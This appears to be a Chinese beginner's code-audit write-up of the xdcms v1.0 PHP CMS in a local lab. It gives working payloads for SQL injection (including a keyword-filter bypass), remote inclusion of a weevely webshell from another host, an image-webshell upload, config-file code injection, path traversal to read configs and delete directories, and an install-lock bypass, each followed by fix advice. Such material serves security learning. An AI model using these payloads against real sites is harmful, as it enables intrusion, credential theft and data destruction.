對xdcms的一次審計練習,萌新入坑必備
前言
大家好,我是kn0sky,這次整了一個以前的小CMS進行練手,xdcms,版本: v1.0, 這個CMS雖然有點老,但是用來新手入門練手倒是挺不錯的,在這里,你可以接觸學習到多種sql語句的SQL注入漏洞,多種文件操作漏洞等等……
審計的思路是:
- 先大概瀏覽一下源代碼,看看代碼的邏輯大概是怎么運行的,找找關鍵的文件
- 然后按照功能點進行測試
環境准備:
- windows 7 虛擬機
- xdcms_v1.0源碼
- PHPStudy: PHP 5.2.17 + MySQL 5.7.26 (因為這個CMS太老了,選新版本的PHP容易出問題)
廢話不多說,直接開始吧
審計開始
通讀代碼的時候注意了!不要直接拿到源碼就去讀!
我們需要先在虛擬機的phpstudy上把xdcms部署好,訪問虛擬機IP進入xdcms的安裝,安裝完之后,注意啦,這個時候把安裝完成后的源碼復制出來,用這個源碼進行審計!
因為啊,有些文件啊,是在你安裝完CMS之后才會出現的,拿安裝之前的CMS去審計,會有些東西找不到的
文件目錄如圖所示:
到此,我們可以正式開始代碼審計啦
大概瀏覽網站源代碼
通過跟讀index.php文件(這個CMS的index.php里面文件包含里又是文件包含,一層又一層),跟讀到/system/function/fun.inc.php
文件,這里面開始就是網站的功能和內容了
瀏覽目錄,不難發現:網站的主要功能應該都在system目錄中了
system目錄下:
- function目錄里裝的都是網站的功能的函數
- libs目錄里裝的都是各種功能的類
- module目錄里裝的也是不同頁面的功能的函數
uploadfile目錄:
- 應該跟文件上傳有關
api目錄下:
- index文件有個文件包含和兩個安全過濾函數
data目錄下:
到這里,我們來整理一下現有的信息:
- 數據庫采用GBK編碼,可能存在寬字節注入 - 網站的主要功能在system目錄下 - api目錄下的index可能存在文件包含漏洞 - 網站的功能是通過訪問index.php的GET參數m,c,f來選擇的,m是文件夾,c是文件,f是函數調用,比如后台的m=xdcms
接下來直接開始測試吧
按功能點進行測試
按照正常用戶的使用流程先來走一遍看看,這里的注冊功能存在IP地址偽造,不過沒啥用,就跳過吧,這里的注冊頁面只有注冊,登錄兩個選擇,連個找回密碼都沒有
注冊好用戶之后,進入普通用戶的后台看看
普通用戶會員中心存在多處SQL注入漏洞
這個頁面除了我的訂單
,資料管理
,修改密碼
,信息管理
這四個功能之外,其他功能都用不了
那就一個一個點點看看吧
打開我心愛的小burp
點擊資料管理后,請求地址為index.php,請求參數為m=member,f=edit,我們跟着index.php去看看這兩個參數是做啥的
跟着跟着就到了/system/function/global.inc.php文件,我們來看一下相關代碼:
//接收參數 $m=safe_replace(isset($_GET["m"])) ? safe_replace($_GET["m"]) : "content"; $c=safe_replace(isset($_GET["c"])) ? safe_replace($_GET["c"]) : "index"; $f=safe_replace(isset($_GET["f"])) ? safe_replace($_GET["f"]) : "init"; include MOD_PATH.$m."/".$c.".php"; //調用類 $p=new $c(); //實例化 $p->$f(); //調用方法
大概意思就是文件包含module目錄下的member目錄,調用edit()方法
public function edit(){ $this->member_info(0); $gourl=$_GET['gourl']; $userid=$_COOKIE['member_userid']; $info=$this->mysql->get_one("select * from ".DB_PRE."member where `userid`=$userid"); $input=base::load_class('input'); $field=base::load_cache("cache_field_member","_field"); $fields=""; foreach($field as $value){ $fields.="<tr>n"; $fields.="<td align="right" valign="top"><span class="tdl">".$value['name'].":</span></td>"; $fields.="<td>".$input->$value['formtype']($value['field'],$info[$value['field']],$value['width'],$value['height'],$value['initial'])." ".$value['explain']."</td>n"; $fields.="</tr>n"; } assign('gourl',$gourl); assign('member',$info); assign("fields",$fields); template("member/edit"); }
這里的變量userid從cookie獲取值沒有經過過濾就帶入到sql的查詢語句了,還是int型的注入:
構造cookie中的member_userid為4 and 1=2
,可以發現這里的用戶信息都消失了
由此可判斷驗證這里存在sql注入漏洞
也可以丟到sqlmap里跑一下,開了一堆工具,電腦太卡了我就不演示了
除了這里存在SQL注入漏洞,這個界面還有幾個地方也存在同樣的SQL注入漏洞,產生漏洞的原因都是因為沒有過濾從GET請求中獲得的member_userid的值
分別是同個功能文件下的edit_save()
、password_save()
到這里,會員中心已經測試完成了,繼續下一個功能
修復建議:
- 使用intval對userid參數進行過濾
網站API存在文件包含漏洞
普通用戶能點的功能真沒幾個,看看API目錄的index.php還真會有收獲
源碼如下:
從GET請求中獲得兩個參數c和f,c是要調用類的php文件名,下面直接就用c變量帶入文件包含了
如果是調用本地php文件,直接輸入目錄加文件名即可直接調用,如果調用的文件后綴不是php:可以進行00截斷
如果php配置文件打開GPC(magic_quotes_gpc
)的話,用00截斷會不成功(00截斷的條件:PHP版本小於5.3,GPC沒有開啟)
如果目標的php配置開啟了allow_url_include
那我們就能進行遠程文件包含,各種馬,安排
我圖個簡單,用weevely生成了一個,然后遠程文件包含webshell
kn0sky@audit-Lab ~/ $ weevely "http://127.0.0.1:28000/api/index.php?c=http://192.168.2.222/wee.php?" knkn0 /home/kn0sky/App/weevely3/core/sessions.py:219: YAMLLoadWarning: calling yaml.load() without Loader=... is deprecated, as the default Loader is unsafe. Please read https://msg.pyyaml.org/load for full details. sessiondb = yaml.load(open(dbpath, 'r').read()) [+] weevely 3.7.0 [+] Target: 127.0.0.1:28000:C:phpstudy_proWWWxdcms.comapi [+] Session: /home/kn0sky/.weevely/sessions/127.0.0.1/index_0.session [+] Shell: System shell [+] Browse the filesystem or execute commands starts the connection [+] to the target. Type :help for more information. weevely> 127.0.0.1:28000:C:phpstudy_proWWWxdcms.comapi $ :system_info [-][channel] The remote script execution triggers an error 500, check script and payload integrity [-][channel] The remote script execution triggers an error 500, check script and payload integrity +--------------------+-----------------------------------+ | client_ip | 192.168.77.2 | | max_execution_time | 300 | | script | /api/index.php | | open_basedir | | | hostname | | | php_self | /api/index.php | | script_folder | http://192.168.2.222 | | uname | Windows NT K0-PC 6.1 build 7600 | | pwd | C:phpstudy_proWWWxdcms.comapi | | safe_mode | False | | php_version | 5.2.17 | | dir_sep | | | os | Windows NT | | whoami | | | document_root | C:/phpstudy_pro/WWW/xdcms.com | +--------------------+-----------------------------------+ 127.0.0.1:28000:C:phpstudy_proWWWxdcms.comapi $
要是不能遠程文件包含,如果有文件上傳的地方,可以從這里本地文件包含個圖片馬去getshell
修復建議:
- 可能的話,不要開啟allow_url_include
- 盡量避免目錄跳轉,過濾
../
接下來,該用管理員登錄網站了
管理員后台上傳圖片+本地文件包含組合漏洞
后台地址:http://<IP>/index.php?m=xdcms&c=login
默認管理員賬號密碼:xdcms:xdcms
管理員后台在系統設置,網站配置的基本信息那里,可以上傳網站logo
這里的上傳有個后端的圖片后綴名檢測:
//判斷上傳是文件還是圖片 $type=isset($_GET['type'])?(int)$_GET['type']:0; $size=500000; $folder='image'; $allowed=array( 'gif', 'jpg', 'jpeg', 'png' ); 圖片文件名檢測: if ( $this->make_script_safe ){ if ( preg_match( "/.(cgi|pl|js|asp|php|html|htm|jsp|jar)(.|$)/i"$FILE_NAME ) ){ $FILE_TYPE = 'text/plain'; $this->file_extension = 'txt'; $this->parsed_file_name = preg_replace( "/.(cgi|pl|js|asp|php|html|htm|jsp|jar)(.|$)/i", "$2", $this->parsed_file_name ); $renamed = 1; } } 圖片文件類型檢測: if ( $this->image_check ){ $img_attributes = @getimagesize( $this->saved_upload_name );
然后還有個文件名修改
這里可以用GIF89A繞過上傳png后綴的php腳本
可能是這個cms實在太老了,源碼拿來直接運行還是出現了一些問題
上傳完圖片之后,應該是要回顯上傳的位置的,可能是出了什么問題,前端這一塊我不太懂
去看服務器上傳文件的文件夾:
文件確實上傳成功了
位置是:/uploadfile/image/20191114/201911141058530.png
這個圖片的內容是:
GIF89A
<?PHP phpinfo();?>
我們去結合剛才的本地文件包含試一試
利用成功
這里可以利用上傳圖片馬來獲取shell
修復建議:
- 上傳的對圖片進行二次渲染或壓縮處理
管理員后台網站信息設置處存在二次漏洞
剛看到這里的時候,這里的網站地址:http://127.0.0.5
我很好奇是干嘛的,因為它現在寫的是127.0.0.5而網站的ip與這個無關,去翻翻源碼看看這玩意是干嘛的
if($tag=='config'){ //判斷url是否以/結尾 $urlnum=strlen($info['siteurl'])-1; if(substr($info['siteurl'],$urlnum,1)!="/"){ showmsg(C("update_url_error"),"-1"); }//end $cms=SYS_PATH.'xdcms.inc.php'; //生成xdcms配置文件 $cmsurl="<?phpn define('CMS_URL','".$info['siteurl']."');n define('TP_FOLDER','".$info['template']."');n define('TP_CACHE',".$info['caching'].");n?>"; creat_inc($cms,$cmsurl);
點擊保存后,網站獲取siteurl沒有經過過濾,就拼接到cmsurl字符串變量里去了,然后根據這個cmsurl生成配置文件
配置文件:
<?php define('CMS_URL','http://127.0.0.5/'); define('TP_FOLDER','dccms'); define('TP_CACHE',false); ?>
這里我們可以構造siteurl:
hello');?><?php phpinfo();?>
點擊保存后,我們去查看一下該配置文件:
<?php define('CMS_URL','hello');?><?php phpinfo();?>'; define('TP_FOLDER','dccms'); define('TP_CACHE',false); ?>
這里的配置文件內容生成外部參數可控,導致了可直接getshell
訪問該配置文件頁面:http://ip/system/xdcms.inc.php
修復建議:
- 不要用這種方式直接修改配置文件
管理員后台模板功能處存在任意文件讀取漏洞
后台看了看好像也沒啥問題了,通過查看這個CMS相關文章得知,這個CMS有的功能有,但是不再后台頁面里
例如/system/module/xdcms/template.php文件的edit功能
public function edit(){ $filename=$_GET['file']; $file=TP_PATH.TP_FOLDER."/".$filename; if(!$fp=@fopen($file,'r+')){ showmsg(C('open_template_error'),'-1'); } flock($fp,LOCK_EX); $str=@fread($fp,filesize($file)); flock($fp,LOCK_UN); fclose($fp); assign('filename',$filename); assign('content',$str); template('template_edit','admin'); }
構造如下url即可查看到指定文件
http://IP/index.php?m=xdcms&c=template&f=edit&file=../../../data/config.inc.php
當然,這需要管理員身份登錄才能進行
修復建議:
- 限制目錄跳轉
管理員后台欄目管理存在SQL注入漏洞
果然還是直接去讀源碼比較方便
這里的源碼如下:
public function add_save(){ $config=base::load_cache("cache_set_config","_config"); $catname=$_POST['catname']; $catdir=$_POST['catdir']; $thumb=$_POST['thumb']; $is_link=intval($_POST['is_link']); $url=safe_replace($_POST['url']); $model=$_POST['model']; $sort=intval($_POST['sort']); $is_show=intval($_POST['is_show']); $parentid=intval($_POST['parentid']); $is_target=intval($_POST['is_target']); $is_html=intval($_POST['is_html']); $template_cate=$_POST['template_cate']; $template_list=$_POST['template_list']; $template_show=$_POST['template_show']; $seo_title=$_POST['seo_title']; $seo_key=$_POST['seo_key']; $seo_des=$_POST['seo_des']; $modelid=modelid($model); if(empty($catname)||empty($catdir)||empty($model)){ showmsg(C('material_not_complete'),'-1'); } if(!check_str($catdir,'/^[a-z0-9][a-z0-9]*$/')){ showmsg(C('catdir').C('numbers_and_letters'),'-1'); } if($is_html==1){ if($config['createhtml']!=1){ showmsg(C('config_html_error'),'index.php?m=xdcms&c=setting'); } } $nums=$this->mysql->db_num("category","catdir='".$catdir."'"); if($nums>0){ showmsg(C('catdir_exist'),'-1'); } $sql="insert into ".DB_PRE."category (catname,catdir,thumb,is_link,url,model,modelid,sort,is_show,is_target,is_html,template_cate,template_list,parentid,template_show,seo_title,seo_key,seo_des) values ('".$catname."','".$catdir."','".$thumb."','".$is_link."','".$url."','".$model."','".$modelid."','".$sort."','".$is_show."','".$is_target."','".$is_html."','".$template_cate."','".$template_list."','".$parentid."','".$template_show."','".$seo_title."','".$seo_key."','".$seo_des."')"; $this->mysql->query($sql); $catid=$this->mysql->insert_id(); if($is_link==0){//生成url $ob_url=base::load_class("url"); $url=$ob_url->caturl($catid,$catdir,$is_html); $this->mysql->db_update("category","`url`='".$url."'","`catid`=".$catid); } $this->category_cache(); showmsg(C('add_success'),'-1'); }
這里有一大堆參數沒有任何過濾就直接帶入sql語句進行插入了,此處可進行SQL注入
在參數中加個單引號之后提交:
報錯啦!直接報錯注入即可
構造如下payload進行報錯注入:
seo_des=haha' or updatexml(1,(concat(0x7e,(select version()),0x7e)),1) or '
修復建議:
- 對輸入的參數進行過濾
管理員后台內容管理處存在SQL注入漏洞
public function add_save(){ $title=safe_html($_POST['title']); $commend=intval($_POST['commend']); $username=safe_html($_POST['username']); $thumb=$_POST['thumb']; $keywords=safe_html($_POST['keywords']); $description=safe_html($_POST['description']); $inputtime=datetime(); $updatetime=strtotime($_POST['updatetime']); $url=$_POST['url']; $catid=intval($_POST['catid']); $userid=$_SESSION['admin_id']; $fields=$_POST['fields']; $style=$_POST['title_color']." ".$_POST['title_weight']; //此處省略驗證數據存在的部分 //添加content $sql="insert into ".DB_PRE."content(title,commend,username,thumb,keywords,description,inputtime,updatetime,url,catid,userid,hits,style) values('{$title}','{$commend}','{$username}','{$thumb}','{$keywords}','{$description}','{$inputtime}','{$updatetime}','{$url}','{$catid}','{$userid}',0,'{$style}')"; $this->mysql->query($sql); $last_id=$this->mysql->insert_id();
依然是一堆參數從POST提交上來沒有經過任何過濾就進行了INSERT INTO操作
構造title:
AASD' or (select updatexml(1,(concat(0x7e,(select version()),0x7e)),1)) or'
即可進行報錯注入
修復建議:
- 對輸入的參數進行過濾
管理員后台數據庫管理頁面存在任意目錄刪除漏洞
地址為:http://ip/index.php?m=xdcms&c=data&f=delete&file=
這個功能原本是刪除備份文件夾的,但是可以通過../進行目錄跳轉來刪除任意文件夾
源碼如下:
public function delete(){ $file=trim($_GET["file"]); $dir=DATA_PATH.'backup/'.$file; if(is_dir($dir)){ //刪除文件夾中的文件 if (false != ($handle = opendir ( $dir ))) { while ( false !== ($file = readdir ( $handle )) ) { if ($file != "." && $file != ".."&&strpos($file,".")) { @unlink($dir."/".$file); } } closedir ( $handle ); } @rmdir($dir);//刪除目錄 } showmsg(C('success'),'-1'); }
通過GET參數file獲取目錄名,然后進行判斷是否是目錄,如果是,則刪除目錄下的文件再刪除目錄,如果不是,直接返回 success
我們在網站主目錄下創建個文件夾123:
然后點擊刪除操作之后,在Burp中攔截修改:
發送后,我們再來看看網站根目錄:
剛剛創建的123目錄,沒有啦!
修復建議:
- 禁止目錄跳轉,過濾
../
管理員后台關鍵詞管理頁面存在SQL注入漏洞
這里又是一個后台管理頁面訪問不到的地方,通過輸入url:http://ip/index.php?m=xdcms&c=keywords&f=edit&id=1
才能訪問
從這里開始,終於遇到了帶有安全過濾防御機制的漏洞
我們先來看源碼:
public function editsave(){ $id=isset($_POST['id'])?intval($_POST['id']):0; $title=safe_html($_POST['title']); $url=safe_html($_POST['url']); if(empty($title)||empty($url)||empty($id)){ showmsg(C('material_not_complete'),'-1'); } $this->mysql->db_update('keywords',"`title`='".$title."',`url`='".$url."'",'`id`='.$id); $this->keywords_cache(); showmsg(C('update_success'),'-1'); }
這里的title參數和url參數被safe_html過濾了,我們來看看這個過濾是怎么回事:
//安全過濾函數 function safe_html($str){ if(empty($str)){return;} $str=preg_replace('/select|insert | update | and | in | on | left | joins | delete |%|=|/*|*|../|./| union | from | where | group | into |load_file |outfile/','',$str); return htmlspecialchars($str); }
這里進行了黑名單過濾,過濾sql注入常用關鍵字,將關鍵字替換為空,這顯然很不靠譜嘛
通過雙寫即可繞過:
Burp攔截,構造payload,發送請求:
url=http://' or (sselectelect updatexml(2,concat(0x7e,(version())),0)) or '
成功繞過安全過濾,成功注入!
修復建議:
- 對輸入的參數進行過濾
后台聯動菜單管理處存在SQL注入漏洞
源碼如下:
public function add_save(){ $name=$_POST['name']; $parentid=isset($_POST['parentid'])?intval($_POST['parentid']):0; if(empty($name)){ showmsg(C('material_not_complete'),'-1'); } if($parentid!=0){ $keyid=$this->get_parentid($parentid); }else{ $keyid=0; } $sql="insert into ".DB_PRE."linkage (name,parentid,keyid) values ('".$name."','".$parentid."','".$keyid."')"; $this->mysql->query($sql); showmsg(C('add_success'),'-1'); }
無過濾獲取參數name,直接帶入insert into語句中進行插入操作
構造payload如下:
name=lalala' or (select updatexml(2,concat(0x7e,(version())),0)) or '
即可報錯注入
這個CMS的SQL注入漏洞可謂是多到不行,這里頭還有大量漏洞出現原因相同的SQL注入漏洞
這里就不多啰嗦了,
練習到這里,想必對UPDATE,INSERT INTO,SELECT三種SQL語句的SQL注入有了一定掌握,接下來看點不一樣的
網站安裝頁面存在全局變量覆蓋漏洞
在網站的/install/index.php中開頭有如下代碼
foreach(Array('_GET','_POST','_COOKIE') as $_request){ foreach($$_request as $_k => $_v) ${$_k} = _runmagicquotes($_v); } function _runmagicquotes(&$svar){ if(!get_magic_quotes_gpc()){ if( is_array($svar) ){ foreach($svar as $_k => $_v) $svar[$_k] = _runmagicquotes($_v); }else{ $svar = addslashes($svar); } } return $svar; } if(file_exists($insLockfile)){ exit(" 程序已運行安裝,如果你確定要重新安裝,請先從FTP中刪除 install/install_lock.txt!"); }
遍歷傳入的參數對數組進行賦值
然后傳入$insLockfile來判斷程序是否安裝
如果我們在訪問這個頁面的時候直接在GET參數中加上?insLockfile=xyz
(反正是一個不存在的文件名就行)則可直接進入安裝
修復建議:
- 通過其他方式來檢測系統是否已安裝
總結
該CMS沒有使用框架,非常適合新手入門練習使用,當然,存在的漏洞不僅僅有這些,有興趣的童鞋可以接着去探索,如果你覺得我文章中有什么需要進行改進的地方,歡迎隨時與我聯系。